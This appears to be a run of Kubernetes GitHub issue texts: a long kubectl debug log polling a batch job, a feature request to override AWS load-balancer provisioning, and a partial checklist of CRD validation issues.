:\ v1beta1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ policy\ ,\ versions\ : {\ groupversion\ :\ policy/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ policy/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ rbac.authorization.k8s.io\ ,\ versions\ : {\ groupversion\ :\ rbac.authorization.k8s.io/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ rbac.authorization.k8s.io/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } } } i0714 15:00:19.683728    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:19.754895    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 71 milliseconds i0714 15:00:19.754914    7749 round_trippers.go:324  response headers: i0714 15:00:19.754921    7749 round_trippers.go:327      content-type: application/json i0714 15:00:19.754926    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:17 gmt i0714 15:00:19.754933    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:19.754965    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ <image name>\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <hostname>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:20.755424    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:20.827376    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 71 milliseconds i0714 15:00:20.827392    7749 round_trippers.go:324  response headers: i0714 15:00:20.827396    7749 round_trippers.go:327      content-type: application/json i0714 15:00:20.827399    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:18 gmt i0714 15:00:20.827402    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:20.827441    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:20.829210    7749 request.go:558  request body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:20.829248    7749 round_trippers.go:299  curl -k -v -xput  -h \ accept: application/json,  / \  -h \ content-type: application/json\  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:20.900850    7749 round_trippers.go:318  put https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 71 milliseconds i0714 15:00:20.900874    7749 round_trippers.go:324  response headers: i0714 15:00:20.900877    7749 round_trippers.go:327      content-type: application/json i0714 15:00:20.900880    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:18 gmt i0714 15:00:20.900884    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:20.900927    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:20.901220    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:20.971869    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 70 milliseconds i0714 15:00:20.971886    7749 round_trippers.go:324  response headers: i0714 15:00:20.971889    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:20.971892    7749 round_trippers.go:327      content-type: application/json i0714 15:00:20.971897    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:18 gmt i0714 15:00:20.971935    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:21.972360    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:22.043372    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 70 milliseconds i0714 15:00:22.043389    7749 round_trippers.go:324  response headers: i0714 15:00:22.043395    7749 round_trippers.go:327      content-type: application/json i0714 15:00:22.043398    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:19 gmt i0714 15:00:22.043402    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:22.043436    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:22.972359    7749 round_trippers.go:299  curl -k -v -xget  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  -h \ accept: application/json,  / \  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:23.043554    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 71 milliseconds i0714 15:00:23.043570    7749 round_trippers.go:324  response headers: i0714 15:00:23.043574    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:23.043577    7749 round_trippers.go:327      content-type: application/json i0714 15:00:23.043580    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:20 gmt i0714 15:00:23.043615    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo <ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:23.972322    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:24.043488    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 71 milliseconds i0714 15:00:24.043506    7749 round_trippers.go:324  response headers: i0714 15:00:24.043512    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:21 gmt i0714 15:00:24.043517    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:24.043522    7749 round_trippers.go:327      content-type: application/json i0714 15:00:24.043559    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:24.972316    7749 round_trippers.go:299  curl -k -v -xget  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  -h \ accept: application/json,  / \  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:25.043459    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 71 milliseconds i0714 15:00:25.043480    7749 round_trippers.go:324  response headers: i0714 15:00:25.043483    7749 round_trippers.go:327      content-type: application/json i0714 15:00:25.043487    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:22 gmt i0714 15:00:25.043489    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:25.043525    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}} i0714 15:00:25.972362    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 i0714 15:00:26.049541    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3 200 ok in 77 milliseconds i0714 15:00:26.049561    7749 round_trippers.go:324  response headers: i0714 15:00:26.049568    7749 round_trippers.go:327      content-type: application/json i0714 15:00:26.049573    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:23 gmt i0714 15:00:26.049579    7749 round_trippers.go:327      content-length: 1448 i0714 15:00:26.049615    7749 request.go:891  response body: {\ kind\ :\ job\ ,\ apiversion\ :\ batch/v1\ ,\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ namespace\ :\ datascience\ ,\ selflink\ :\ /apis/batch/v1/namespaces/datascience/jobs/sproket_maker-3\ ,\ uid\ :\ 9c8a4148-49a2-11e6-a9db-1284d5eeaed3\ ,\ resourceversion\ :\ 1345707\ ,\ creationtimestamp\ :\ 2016-07-14t09:09:04z\ ,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ parallelism\ :0,\ completions\ :1,\ selector\ :{\ matchlabels\ :{\ app\ :\ sproket_maker-3\ }},\ manualselector\ :true,\ template\ :{\ metadata\ :{\ name\ :\ sproket_maker-3\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ sproket_maker-3\ }},\ spec\ :{\ containers\ : {\ name\ :\ sproket_maker-3\ ,\ image\ :\ company/sproket_maker\ ,\ command\ : \ /bin/bash\ ,\ -c\  ,\ args\ : \ echo '<ip> <name>' \\u003e\\u003e /etc/hosts \\u0026\\u0026 start.sh python /var/www/sites/cron/company-ml-master/sproket_maker.py --shards 10 --shard-index 3 --limit 20000\  ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ always\ } ,\ restartpolicy\ :\ never\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodeselector\ :{\ nodetype\ :\ datascience-scheduled\ },\ securitycontext\ :{},\ imagepullsecrets\ : {\ name\ :\ dockerhub\ } }}},\ status\ :{\ conditions\ : {\ type\ :\ complete\ ,\ status\ :\ true\ ,\ lastprobetime\ :\ 2016-07-14t09:09:09z\ ,\ lasttransitiontime\ :\ 2016-07-14t09:09:09z\ } ,\ starttime\ :\ 2016-07-14t09:09:04z\ ,\ completiontime\ :\ 2016-07-14t09:09:09z\ ,\ active\ :1,\ succeeded\ :1}}

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i want to override the aws cloud provider integration that creates elastic load balancers when specifying  type: loadbalancer  on a  v1.service . my use case is that i want to use a custom load balancer implementation that will route traffic into the kubernetes cluster instead of relying on the elb, however, at the same time i do not want to lose access to other aws features such as ebs volumes when using the  aws  cloud provider integration. i would write my own control loop that can provision my custom load balancer when service records change.\r \r   what you expected to happen  :\r \r there should be way to disable or override various features of the cloud provider integrations such that i could write my own control loops for various features such as loadbalancer creation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r spin up any kubernetes cluster with the  aws  cloud provider and you'll realize there is no way to disable or override aspects of its implementation.\r \r   anything else we need to know?  :\r \r no.\r

we are trying to use crd validation feature . but many things don't work or partially work. i would like to see these issues fixed before crd is considered ga.\r \r -  x  customresourcedefinitions should support maps in openapi schema   59485 \r -  x  generator for crd validation schema   59154  - see https://github.com/kubernetes/kubernetes/issues/59154 issuecomment-460990831\r -  x  openapi-gen lacks support for enum   62325  - the crd schema allows defining enums. feature requests against openapi-gen should be made in https://github.com/kubernetes/kube-openapi/issues\r -  x  ~~go-openapi/spec3 is not maintained   62326 ~~ k8s does not use this library\r -  x  generate valid openapi spec for intstr.intorstring   62329  - int-or-string is special-cased in crd schemas and can produce valid openapi v3. see intorstring discussion in https://github.com/kubernetes/enhancements/blob/master/keps/sig-api-machinery/20190425-structural-openapi.md formal-definition\r -  x  objectmeta 